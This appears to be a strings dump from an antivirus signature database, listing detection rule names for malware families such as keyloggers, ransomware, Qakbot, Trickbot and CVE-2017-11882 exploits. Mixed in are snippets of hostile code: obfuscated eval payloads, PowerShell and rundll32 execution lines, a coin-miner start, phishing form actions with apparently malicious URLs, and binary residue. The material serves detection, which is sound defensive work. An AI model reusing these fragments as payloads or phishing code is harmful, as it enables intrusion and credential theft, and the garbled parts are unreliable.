Z!#AGGR:Tobeet_Msil_56A1F829pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo&HSTR:CoinMiner!bit !#AGGR:Tobeet_Msil_61EF0742HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:AutoAttrMsil_1F6F7011 Z!#AGGR:Tobeet_Msil_61EF0742HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:AutoAttrMsil_1F6F7011 !#AGGR:Tobeet_Msil_697F93B7pea_ismsil&HSTR:InstallerFile&LUA:SuspVerinfo1&HSTR:Win32/WMI.Class.Win32_ComputerSystem.A Z!#AGGR:Tobeet_Msil_697F93B7pea_ismsil&HSTR:InstallerFile&LUA:SuspVerinfo1&HSTR:Win32/WMI.Class.Win32_ComputerSystem.A !#AGGR:Tobeet_Msil_981B20B9HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&RANSMATTR:PeLodNoException Z!#AGGR:Tobeet_Msil_981B20B9HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&RANSMATTR:PeLodNoException !#AGGR:Tobeet_Msil_9996C614HSTR:MSIL.MyNamespace&pea_ismsil&LUA:SuspVerinfo1&AGGR:Lua:MSIL:FrameworkV4&SIGATTR:DropMZ Z!#AGGR:Tobeet_Msil_9996C614HSTR:MSIL.MyNamespace&pea_ismsil&LUA:SuspVerinfo1&AGGR:Lua:MSIL:FrameworkV4&SIGATTR:DropMZ !#AGGR:Tobeet_Msil_E852EDDEHSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:AutoAttrMsil_8AE2833D Z!#AGGR:Tobeet_Msil_E852EDDEHSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:AutoAttrMsil_8AE2833D !#AGGR:Tobeet_Msil_FB773CB2HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&VirTool:MSIL/Obfuscator.AO Z!#AGGR:Tobeet_Msil_FB773CB2HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&VirTool:MSIL/Obfuscator.AO !#SLF:AsmblyLoadInvoke!amsiSCRIPT:assemblyload&SCRIPT:PS/WebDlData.A&SCRIPT:PS/GetTypeMetInv.A&MpIsPowerShellAMSIScan Z!#SLF:AsmblyLoadInvoke!amsiSCRIPT:assemblyload&SCRIPT:PS/WebDlData.A&SCRIPT:PS/GetTypeMetInv.A&MpIsPowerShellAMSIScan !#PUA:Staged:CertificatesGBLPUA:PoorCertRep:NewCandidates|PUA:PoorCertRep:ML1|PUA:PoorCertRep:ML2|PUA:PoorCertRep:ML3 Y!#PUA:Staged:CertificatesGBLPUA:PoorCertRep:NewCandidates|PUA:PoorCertRep:ML1|PUA:PoorCertRep:ML2|PUA:PoorCertRep:ML3 !#ALF:Trojan:Win32/Pchild10.AVirTool:Win32/Pchild10.keya&VirTool:Win32/Pchild10.keyb&VirTool:Win32/Pchild10.delimeter X!#ALF:Trojan:Win32/Pchild10.AVirTool:Win32/Pchild10.keya&VirTool:Win32/Pchild10.keyb&VirTool:Win32/Pchild10.delimeter !#ALFPER:AGGR:Win32/Sasquor.BLua:SasquorFileName.A&!Clean:Confident:Cert:Unvalidated&!Clean:Confident:Cert:NotChecked X!#ALFPER:AGGR:Win32/Sasquor.BLua:SasquorFileName.A&!Clean:Confident:Cert:Unvalidated&!Clean:Confident:Cert:NotChecked !#TEL:Trojan:Win32/Tisifi.ECALua:ContextualDropFileByEmailClient&Lua:SingleFileExeInZip&Lua:ContextEXEDoubleExtension X!#TEL:Trojan:Win32/Tisifi.ECALua:ContextualDropFileByEmailClient&Lua:SingleFileExeInZip&Lua:ContextEXEDoubleExtension !#TEL:PWS:HTML/STRCredHarv.A!dhaSCPT:STRCredHarv1&SCPT:STRCredHarv2&SCPT:STRCredHarv3&SCPT:STRCredHarv4&SCPT:HTMLFile y U!#TEL:PWS:HTML/STRCredHarv.A!dhaSCPT:STRCredHarv1&SCPT:STRCredHarv2&SCPT:STRCredHarv3&SCPT:STRCredHarv4&SCPT:HTMLFile !#AllowList:Aggr/InternalSkypeToolHSTR:SkypeTool_1&LUA:FileSizeGT8M.A&Path:DriveNonC&HSTR:PyInstaller_Packaged_Script y\"S!#AllowList:Aggr/InternalSkypeToolHSTR:SkypeTool_1&LUA:FileSizeGT8M.A&Path:DriveNonC&HSTR:PyInstaller_Packaged_Script !#AGGR:VirTool:Win32/NSISInjector.ASCRIPT:VirTool:Win32/NSISInjector.A!param&SCRIPT:VirTool:Win32/NSISInjector.A!file y#R!#AGGR:VirTool:Win32/NSISInjector.ASCRIPT:VirTool:Win32/NSISInjector.A!param&SCRIPT:VirTool:Win32/NSISInjector.A!file !#AGGREGATOR:LowfiDelfCPLWithException(!HSTR:DelfCPLException)&MpCPlApplet&(HSTR:Win32/DelphiFile|SIGATTR:DelphiFile) y&O!#AGGREGATOR:LowfiDelfCPLWithException(!HSTR:DelfCPLException)&MpCPlApplet&(HSTR:Win32/DelphiFile|SIGATTR:DelphiFile) !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!7zip_wordLua:OfficeExtractedFileInZip.A!7zip_word&MHSTR:MacroInside y;:!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!7zip_wordLua:OfficeExtractedFileInZip.A!7zip_word&MHSTR:MacroInside !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_excelLua:OfficeExtractedFileInZip.A!rar_excel&MHSTR:MacroInside y;:!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_excelLua:OfficeExtractedFileInZip.A!rar_excel&MHSTR:MacroInside !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!wzip_wordLua:OfficeExtractedFileInZip.A!wzip_word&MHSTR:MacroInside y;:!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!wzip_wordLua:OfficeExtractedFileInZip.A!wzip_word&MHSTR:MacroInside !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_excelLua:OfficeExtractedFileInZip.A!zip_excel&MHSTR:MacroInside y;:!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_excelLua:OfficeExtractedFileInZip.A!zip_excel&MHSTR:MacroInside !#AGGR:JS/TechAlertCode.ASCRIPT:JS/TechMsgAlertCode.A&(SCRIPT:JS/TechAudioLoopTag.A|SCRIPT:JS/TechUnloadBrowserCode.A) ]!#AGGR:JS/TechAlertCode.ASCRIPT:JS/TechMsgAlertCode.A&(SCRIPT:JS/TechAudioLoopTag.A|SCRIPT:JS/TechUnloadBrowserCode.A) !#ATTR:MACE:ShouldDetonateDetection:Ransom:Win32/Revil.A|Detection:Ransom:Win32/Revil.B|Detection:Ransom:Win32/Revil.C \\!#ATTR:MACE:ShouldDetonateDetection:Ransom:Win32/Revil.A|Detection:Ransom:Win32/Revil.B|Detection:Ransom:Win32/Revil.C !#AGGR:Tobeet_Msil_40B079B8pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&SIGATTR:MSIL/AVChk [!#AGGR:Tobeet_Msil_40B079B8pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&SIGATTR:MSIL/AVChk !#SLFPER:UnsignedPETopLevelIOAVRPF:PEHasIOAVURL&RPF:TopLevelFile&!PEPCODE:HasDigitalSignature&!Lua:IOAVBrowserUtorrent W!#SLFPER:UnsignedPETopLevelIOAVRPF:PEHasIOAVURL&RPF:TopLevelFile&!PEPCODE:HasDigitalSignature&!Lua:IOAVBrowserUtorrent !#TEL:Exploit:O97M/CVE-2017-11882.N!wimLua:Equation3InRTF&SCRIPT:OLE.EquationCLSID&SCRIPT:Equation3_Overflow_WinExec.A z'O!#TEL:Exploit:O97M/CVE-2017-11882.N!wimLua:Equation3InRTF&SCRIPT:OLE.EquationCLSID&SCRIPT:Equation3_Overflow_WinExec.A !#TEL:SCRIPT/WmiLaunchRundll32_JavaScript.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchRundll32_JavaScript z+K!#TEL:SCRIPT/WmiLaunchRundll32_JavaScript.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchRundll32_JavaScript !#SLF:Context/ShortcutFileInEdgeBrowserDownloads.ARPF:TopLevelFile&Lua:LnkExt&Lua:FileInMicrosoftEdgeDownloadsFolder.A z2D!#SLF:Context/ShortcutFileInEdgeBrowserDownloads.ARPF:TopLevelFile&Lua:LnkExt&Lua:FileInMicrosoftEdgeDownloadsFolder.A !#ALFPER:AGGR:Win32/AgileDotNetObfuscatorUnsigned.ALowfi:HSTR:Win32/AgileDotNetObfuscator&!PEPCODE:HasDigitalSignature z3C!#ALFPER:AGGR:Win32/AgileDotNetObfuscatorUnsigned.ALowfi:HSTR:Win32/AgileDotNetObfuscator&!PEPCODE:HasDigitalSignature !#TEL:HTML/Redir.ABLUA:FileSizeLE5000.A&SCPT:HTML/ReferrerHeader&SCPT:HTML/SuspiciousPhish&SCPT:HTML/SuspiciousRedirect d!#TEL:HTML/Redir.ABLUA:FileSizeLE5000.A&SCPT:HTML/ReferrerHeader&SCPT:HTML/SuspiciousPhish&SCPT:HTML/SuspiciousRedirect !#TEL::VBS/Miuporu.ASCRIPT:VBS/WritePS1File&SCRIPT:VBS/ExecutePS1File&(SCRIPT:VBS/CreateScheduledTask|SCPT:PSCmdSlashC) c!#TEL::VBS/Miuporu.ASCRIPT:VBS/WritePS1File&SCRIPT:VBS/ExecutePS1File&(SCRIPT:VBS/CreateScheduledTask|SCPT:PSCmdSlashC) !#TEL:O97M/Powdow.NAInEmail&BM_OLE_FILE&LUA:FileSizeLE80000.A&MHSTR:Obfuscator.EmptyAssign&MHSTR:ShellInTextboxChange.A c!#TEL:O97M/Powdow.NAInEmail&BM_OLE_FILE&LUA:FileSizeLE80000.A&MHSTR:Obfuscator.EmptyAssign&MHSTR:ShellInTextboxChange.A !#ALF:COMScriptletRunSCRIPT:WScriptShellRun&(TEL:SCPT:Trojan:Win32/COMScriptlet.A|TEL:SCPT:Trojan:Win32/COMScriptlet.B) b!#ALF:COMScriptletRunSCRIPT:WScriptShellRun&(TEL:SCPT:Trojan:Win32/COMScriptlet.A|TEL:SCPT:Trojan:Win32/COMScriptlet.B) !#SLF:MsBuildInlineTsk.CSCRIPT:TargetTask&SCRIPT:Realm.task!func&SCRIPT:ContainsClassCode.B&SCRIPT:ContainsCsharpCode.B _!#SLF:MsBuildInlineTsk.CSCRIPT:TargetTask&SCRIPT:Realm.task!func&SCRIPT:ContainsClassCode.B&SCRIPT:ContainsCsharpCode.B !#AGGR:Tobeet_Msil_0C242822pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Win32/PossibleKeylogger.C1 \\!#AGGR:Tobeet_Msil_0C242822pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Win32/PossibleKeylogger.C1 !#AGGR:Tobeet_Msil_27B6109BHSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&ATTRIBUTE:SIGA:MSIL:EMAIL:S1 \\!#AGGR:Tobeet_Msil_27B6109BHSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&ATTRIBUTE:SIGA:MSIL:EMAIL:S1 !#AGGR:Tobeet_Msil_4E8D0A83pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/Class.UriBuilder.A&AGGR:Lua:MSIL.AbnormalMethod.Name \\!#AGGR:Tobeet_Msil_4E8D0A83pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/Class.UriBuilder.A&AGGR:Lua:MSIL.AbnormalMethod.Name !#AGGR:Tobeet_Msil_512D4FE1pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:FileSharingURL \\!#AGGR:Tobeet_Msil_512D4FE1pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:FileSharingURL !#AGGR:Tobeet_Msil_536E4B7Bpea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo&HSTR:Tobeet_D80300B4 \\!#AGGR:Tobeet_Msil_536E4B7Bpea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo&HSTR:Tobeet_D80300B4 !#AGGR:Tobeet_Msil_7DECF1ABpea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&HSTR:Tobeet_D80300B4&LUA:SuspVerinfo \\!#AGGR:Tobeet_Msil_7DECF1ABpea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&HSTR:Tobeet_D80300B4&LUA:SuspVerinfo !#TEL:Trojan:Win32/Tisifi.DLua:ContextFromWebmail&HSTR:Win32/DelphiFile&HSTR:HasSEH&pea_isdamaged&SuspiciousEXEfilename \\!#TEL:Trojan:Win32/Tisifi.DLua:ContextFromWebmail&HSTR:Win32/DelphiFile&HSTR:HasSEH&pea_isdamaged&SuspiciousEXEfilename !#SCPT:WannamineDownloadLinksSCPT:Trojan:PowerShell/WannaMine.downloadlnk|SCPT:Trojan:PowerShell/WannaMine.downloadlnk2 Z!#SCPT:WannamineDownloadLinksSCPT:Trojan:PowerShell/WannaMine.downloadlnk|SCPT:Trojan:PowerShell/WannaMine.downloadlnk2 !#TEL:Trojan:Java/Jibem.A!wim//Lua:JarTimeStampLastTenDays&//Lua:Java.SuspiciousCrypter.Loose.A&!AGGR:CombinedJavaClass Z!#TEL:Trojan:Java/Jibem.A!wim//Lua:JarTimeStampLastTenDays&//Lua:Java.SuspiciousCrypter.Loose.A&!AGGR:CombinedJavaClass !#AGGR:MSIL:DynGenRuntimeClass.Cpea_ismsil&HSTR:MSIL/NameSpace.CompilerServices.A&Lua:MSIL:PossiblyDynGenRuntimeClass.A { W!#AGGR:MSIL:DynGenRuntimeClass.Cpea_ismsil&HSTR:MSIL/NameSpace.CompilerServices.A&Lua:MSIL:PossiblyDynGenRuntimeClass.A !#TEL:AGGR:SupportScam:JS/TechBrolo.NSCRIPT:JS/TechAlertCode.H&(SCRIPT:JS/TechAlertCode.C|SCRIPT:JS/TechMsgAlertCode.A) {%R!#TEL:AGGR:SupportScam:JS/TechBrolo.NSCRIPT:JS/TechAlertCode.H&(SCRIPT:JS/TechAlertCode.C|SCRIPT:JS/TechMsgAlertCode.A) !#TEL:Exploit:O97M/CVE-2017-11882.P!wimAGGR:RTF_File&LUA:FileSizeLE80000.A&SCPT:RTF.Objdata&SCPT:RTF.LikelyObfuscated.B {'P!#TEL:Exploit:O97M/CVE-2017-11882.P!wimAGGR:RTF_File&LUA:FileSizeLE80000.A&SCPT:RTF.Objdata&SCPT:RTF.LikelyObfuscated.B !#ALF:Exploit:O97M/CVE-2017-11882.BKKO!MTBSCPT:Exploit:O97M/CVE-2017-11882.BKKO1&SCPT:Exploit:O97M/CVE-2017-11882.BKKO3 {*M!#ALF:Exploit:O97M/CVE-2017-11882.BKKO!MTBSCPT:Exploit:O97M/CVE-2017-11882.BKKO1&SCPT:Exploit:O97M/CVE-2017-11882.BKKO3 !#ALF:TrojanDownloader:O97M/Powdow.LIF!MTBSCPT:TrojanDownloader:O97M/Powdow.LIF1&SCPT:TrojanDownloader:O97M/Powdow.LIF2 {*M!#ALF:TrojanDownloader:O97M/Powdow.LIF!MTBSCPT:TrojanDownloader:O97M/Powdow.LIF1&SCPT:TrojanDownloader:O97M/Powdow.LIF2 !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!7zip_excelLua:OfficeExtractedFileInZip.A!7zip_excel&MHSTR:MacroInside {<;!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!7zip_excelLua:OfficeExtractedFileInZip.A!7zip_excel&MHSTR:MacroInside !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!wzip_excelLua:OfficeExtractedFileInZip.A!wzip_excel&MHSTR:MacroInside {<;!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!wzip_excelLua:OfficeExtractedFileInZip.A!wzip_excel&MHSTR:MacroInside !#AGGR:Tobeet_Msil_1B65054Dpea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_B92F0590 ]!#AGGR:Tobeet_Msil_1B65054Dpea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_B92F0590 !#AGGR:Tobeet_Msil_39B990D0pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:Tobeet_BF56481B ]!#AGGR:Tobeet_Msil_39B990D0pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:Tobeet_BF56481B !#SLF:Win32/CmdBatchFileWithLolBins.A!msworkflowRPF:TopLevelFile&(Lua:BATExt|Lua:CMDExt)&SCRIPT:MsWorkflowCompilerString |0H!#SLF:Win32/CmdBatchFileWithLolBins.A!msworkflowRPF:TopLevelFile&(Lua:BATExt|Lua:CMDExt)&SCRIPT:MsWorkflowCompilerString !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_pptLua:OfficeExtractedFileInZip.A!rar_powerpoint&MHSTR:MacroInside |9?!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_pptLua:OfficeExtractedFileInZip.A!rar_powerpoint&MHSTR:MacroInside !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_pptLua:OfficeExtractedFileInZip.A!zip_powerpoint&MHSTR:MacroInside |9?!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_pptLua:OfficeExtractedFileInZip.A!zip_powerpoint&MHSTR:MacroInside !#AGGR:Tobeet_Msil_092DA760pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:MSIL/Possible ^!#AGGR:Tobeet_Msil_092DA760pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:MSIL/Possible AsyncMac System32\\DRIVERS\\asyncmac.sys Microsoft Base Cryptographic Provider v1.0 ServicesActive MpVregOpenKeySuccess 32222 S-1-0x%I64x S-1-%d WDTerminal Server Device Redirector DriverrdpdrRDPCDDRdbssDirect ParallelRasptiRemote Access PPPOE DriverRasPppoeRemote Access Connection ManagerRasManWAN Miniport (L2TP)Rasl2tpRemote Access Auto Connection ManagerRasAutoRemote Access Auto Connection DriverRasAcdDirect Parallel Link DriverPtilinkQoS Packet SchedulerPSchedProtected StorageProtectedStorageWAN Miniport (PPTP)PptpMiniportIPSEC ServicesPolicyAgentPlug and PlayPlugPlayPDRFRAMEPDRELIPDFRAMEPDCOMPPcmciaPCIIdePCIDumpPCI Bus DriverPCIParVdmPartMgrParallel port driverParportIPX Traffic Forwarder DriverNwlnkFwdIPX Traffic Filter DriverNwlnkFltNullRemovable StorageNtmsSvcNT LM Security Support ProviderNtLmSspNtfsNpfsNetwork Location Awareness (NLA)NlaNetwork ConnectionsNetmanNet LogonNetlogonNetwork DDE DSDMNetDDEdsdmNetwork DDENetDDENetBios over TcpipNetBTNetBIOS InterfaceNetBIOSNDIS ProxyNDProxyRemote Access NDIS WAN DriverNdisWanNDIS Usermode I/O ProtocolNdisuioRemote Access NDIS TAPI DriverNdisTapiNDIS System DriverNDISNetwork Access Protection AgentnapagentMupMicrosoft System Management BIOS DrivermssmbiosMicrosoft Streaming Quality Manager ProxyMSPQMMicrosoft Streaming Clock ProxyMSPCLOCKMicrosoft Streaming Service ProxyMSKSSRVWindows InstallerMSIServerMsfsDistributed Transaction CoordinatorMSDTCMRxSmbWebDav Client RedirectorMRxDAVWindows FirewallMpsSvcMountMgrMouse Class DriverMouclassModemNetMeeting Remote Desktop SharingmnmsrvcmnmddMessengerTCP/IP NetBIOS HelperLmHostsWorkstationlanmanworkstationServerLanmanServerKSecDDMicrosoft Kernel Wave Audio MixerkmixerKeyboard Class DriverKbdclassPnP ISA/EISA Bus DriverisapnpIR Enumerator ServiceIRENUMIPSEC driverIPSecIP Network Address TranslatorIpNatIP in IP Tunnel DriverIpInIpIP Traffic Filter DriverIpFilterDriverIPv6 Windows Firewall DriverIp6FwIntelIdeIMAPI CD-Burning COM ServiceImapiServiceCD-Burning Filter DriverImapii8042 Keyboard and PS/2 Mouse Port Driveri8042prtHTTP SSLHTTPFilterHTTPHealth Key and Certificate Management ServicehkmsvcHuman Interface Device AccessHidServHelp and SupporthelpsvcGeneric Packet ClassifierGpcGame Port EnumeratorgameenumVolume Manager DriverFtdiskFsVgaFltMgrFloppy Disk DriverFlpydiskFipsFloppy Disk Controller DriverFdcFast User Switching CompatibilityFastUserSwitchingCompatibilityFastfatCOM+ Event SystemEventSystemEvent LogEventlogError Reporting ServiceERSvcExtensible Authentication Protocol ServiceEapHostMicrosoft Kernel DRM Audio DescramblerdrmkaudDNS ClientDnscacheMicrosoft Kernel DLS SyntheiszerDMusicLogical Disk ManagerdmserverdmloadLogical Disk Manager DriverdmiodmbootLogical Disk Manager Administrative ServicedmadminDisk DriverDiskDHCP ClientDhcpDCOM Server Process LauncherDcomLaunchCryptographic ServicesCryptSvcCpqarrayCOM+ System ApplicationCOMSysAppCmdIdeClipBookClipSrvIndexing ServiceCiSvcChangerCD-ROM DriverCdromCdfsCdaudioComputer BrowserBrowserBackground Intelligent Transfer ServiceBITSBeepAudio Stub DriveraudstubWindows AudioAudioSrvATM ARP Client ProtocolAtmarpcAtdiskStandard IDE/ESDI Hard Disk ControlleratapiRAS Asynchronous Media DriverAsyncMacApplication ManagementAppMgmtamsintAliIdeApplication Layer Gateway ServiceALGAlerterAFDMicrosoft Kernel Acoustic Echo CancelleraecACPIECMicrosoft ACPI DriverACPIAsyncMacSystem32\\DRIVERS\\asyncmac.sysMicrosoft Base Cryptographic Provider v1.0JohnDoeJohnDoeServicesActiveServicesActivecaSOFTWARE\\MicrosoftMpVregOpenKeySuccesszzy:\\smNULLedf:\\32222%dS-1-0x%I64xS-1-%d%dS-1-0x%I64xS-1-%d... @  @   @ @   @   @  @ @  @    @       @@      @  @   @ @ @@    0  0     \t0\t \t 0\t   advapi32.pdb 8u\tjW al(dec_cmd);return0;} !#SCRIPT:JS/Nemucod!fxn wscript[ Fwscript[  );while( ){try{ Pfalse); =\"sleep\";while !#SCRIPT:PassthruInvoke -namespace'win32'-passthru[byte[]]$ F-namespace'win32'-passthru[byte[]]$ [system.convert]:: `).invoke( !#White:GoogleUpdate.A1 c:\\google\\autoit3.exe/autoit3executescriptc:\\google\\googleupdate.a3x Fc:\\google\\autoit3.exe/autoit3executescriptc:\\google\\googleupdate.a3x !#PUA:MacOS/SurfBuyer.F1 mmtmp=\"/private/tmp/.mminstallerscripts_`date+%y%m%d%h%m%s`\"mkdir-p Emmtmp=\"/private/tmp/.mminstallerscripts_`date+%y%m%d%h%m%s`\"mkdir-p functionshowpopup(pstrid,pstrhid){varmydiv=document.getelementbyid( Efunctionshowpopup(pstrid,pstrhid){varmydiv=document.getelementbyid( vlocity.cardframework.registermodule.controller('testaccountdetails Evlocity.cardframework.registermodule.controller('testaccountdetails b(\"__decorate\",h);b(\"__param\",c);b(\"__metadata\",a);b(\"__awaiter\",f) Eb(\"__decorate\",h);b(\"__param\",c);b(\"__metadata\",a);b(\"__awaiter\",f) varminscore=4.0;varfarve=['green','lgreen','white','yellow','red']; Evarminscore=4.0;varfarve=['green','lgreen','white','yellow','red']; !#SCPT:PDF/MaliciousLink >>endobj1 E>>endobj1 0-90obj<</type/action/s/uri/uri(http:// @/commercial) @/corrections @/inv- !#HackTool:Python/DDos.B2 headers_referers.append('http://www.usatoday.com/search/results?q= Dheaders_referers.append('http://www.usatoday.com/search/results?q= !#SCPT:JS/Obfuse.RKD1!MTB http:\\/\\/frolicatier.com\\/wp-includes\\/js\\/wp-emoji-release.min.js Dhttp:\\/\\/frolicatier.com\\/wp-includes\\/js\\/wp-emoji-release.min.js !#SCPT:PDF:Stayt_95C1F0B2 /encoding/winansiencoding/fontdescriptor60r/firstchar32/lastchar80 D/encoding/winansiencoding/fontdescriptor60r/firstchar32/lastchar80 !#SCPT:ShellExecTempEnv.A .exe');(new-object-comshell.application).shellexecute($env:temp+'\\ D.exe');(new-object-comshell.application).shellexecute($env:temp+'\\ !#SCPT:Trojan:JS/Miuref_A vart=\"charcodeat\";varu=\"fromcharcode\";vara=atob(g);eval(i(a,'s')); Dvart=\"charcodeat\";varu=\"fromcharcode\";vara=atob(g);eval(i(a,'s')); !#SCRIPT:HTML/PhishHref.A href=\"http://www.dsdsd.com/\"rel=\"nofollow\"target=\"_top\">yahoo!</a> Dhref=\"http://www.dsdsd.com/\"rel=\"nofollow\"target=\"_top\">yahoo!</a> !#Constructor:Win32/EDA2.1 *eda2maybeusedonlyforeducationalpurposes.donotuseitasaransomware! C*eda2maybeusedonlyforeducationalpurposes.donotuseitasaransomware! ,@echooff C,@echooff  \ta-z0-9-_.@  \ta-z0-9-_., botadmin=falsedoudpflood=falsedohttpflood=falsedohttpsflood=false Cbotadmin=falsedoudpflood=falsedohttpflood=falsedohttpsflood=false \\\\\\%\\%\\{\\}\\}}{\\}\\{\\+\\\\\\%\\%\\{\\}\\}}}}}}}}forpentestingpurposesonly! C\\\\\\%\\%\\{\\}\\}}{\\}\\{\\+\\\\\\%\\%\\{\\}\\}}}}}}}}forpentestingpurposesonly! =getobject(\"winm\"+\"gmts:{impersonationlevel=impersonate}!\\\\.\\root C=getobject(\"winm\"+\"gmts:{impersonationlevel=impersonate}!\\\\.\\root <si><t>https://tecnicopconline.com/wp-admin/jekbvhub.php</t></si> C<si><t>https://tecnicopconline.com/wp-admin/jekbvhub.php</t></si> !#SCPT:O97M/Qakbot.VA4!MTB ><si><t>https://eletrocoghi.com.br/drms/fert.html</t></si><si><t> C><si><t>https://eletrocoghi.com.br/drms/fert.html</t></si><si><t> !#SCPT:SetFileAttribHidden execute('f\"& Cexecute('f\"& !#SCRIPT:HTML/TechBrolo.B2 '));eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28% C'));eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28% !#Exploit:Python/Leivion.C2 .windll.kernel32.createthread B.windll.kernel32.createthread %.c_int(0), %.c_int !#HackTool:MacOS/Brootkit.C functionnetstat(){localhide_porttmp_portold_ifsold_ifs=$ifs;ifs= Bfunctionnetstat(){localhide_porttmp_portold_ifsold_ifs=$ifs;ifs= !#PSinputOutputRedirected.A fo.redirectstandardinput=1 Bfo.redirectstandardinput=1 .startinfo.redirectstandardoutput=1 !#SCPT:CodeOnly.Flyheart.AB -math.max(a,b);let B-math.max(a,b);let =newarray(7); 1337; !#SCPT:Trojan:HTML/Phish!s1 <formname=\"frmlog\"method=\"post\"action=\"./cadastro/promocao.php\"> B<formname=\"frmlog\"method=\"post\"action=\"./cadastro/promocao.php\"> !#SCPT:Trojan:PDF/Phish.DR2 obj<</s/uri/uri(http://binni-ks.com/modules/dashgoals/binni.htm) Bobj<</s/uri/uri(http://binni-ks.com/modules/dashgoals/binni.htm) !#SCRIPT:JS/TechPushState.A window.history.pushstate( Bwindow.history.pushstate( document.location.href= varminer=newcoinblind.anonymous(' Bvarminer=newcoinblind.anonymous(' throttle });miner.start(); !#SCPT:CodeOnly.Wildlinger.A const__buf8=newarraybuffer(8);const__dvcvt=newdataview(__buf8); Aconst__buf8=newarraybuffer(8);const__dvcvt=newdataview(__buf8); !#SCPT:Exploit:JS/Axpergle.O window['parse'+'int'], Awindow['parse'+'int'], +'of' `window['m'+ 0['fl'  length%2 location.replace(\"https:\\/\\/w3.veryfastandfaster.xyz\\/proc.php? Alocation.replace(\"https:\\/\\/w3.veryfastandfaster.xyz\\/proc.php? !#SCPT:O97M/EncDoc.VAI24!MTB <f>exec(\"rundll32\"&amp;\"..\\xl\\media\\image2.bmp\"&amp;\",startw\")< A<f>exec(\"rundll32\"&amp;\"..\\xl\\media\\image2.bmp\"&amp;\",startw\")< !#SCPT:O97M/Trickbot.RTR!EML living-traditions.com/ Aliving-traditions.com/ .php</t></si><si><t>  O<si><t>http:// !#SCPT:Trojan:HTML/Phish.CB2 www.willyexpress.lu/contents/result.php Awww.willyexpress.lu/contents/result.php method=\"post\"action=  @method=\"post\"action= !#SCPT:Trojan:HTML/Phish.IB1 <formaction=\"https://casciscus.com/wp-admin/v4/pocket.php\"name= A<formaction=\"https://casciscus.com/wp-admin/v4/pocket.php\"name= !#SCPT:Trojan:HTML/Phish.JC4 type:'post',data:{email:email,password:password,detail:detail,} Atype:'post',data:{email:email,password:password,detail:detail,} !#SCPT:Trojan:HTML/Phish.JF2 url=https://register.hiramhousecamp.org/miouadthen/po1820.zip\"> Aurl=https://register.hiramhousecamp.org/miouadthen/po1820.zip\"> !#SCPT:Trojan:HTML/Phish.JL1 https%3a//nacademyng.com/excel_os/x3d.php%22%20method%3d%22post Ahttps%3a//nacademyng.com/excel_os/x3d.php%22%20method%3d%22post !#SCPT:Trojan:HTML/Phish.SU3 signinwithyourcorrectemailandpasswordtoreviewpackageinformation 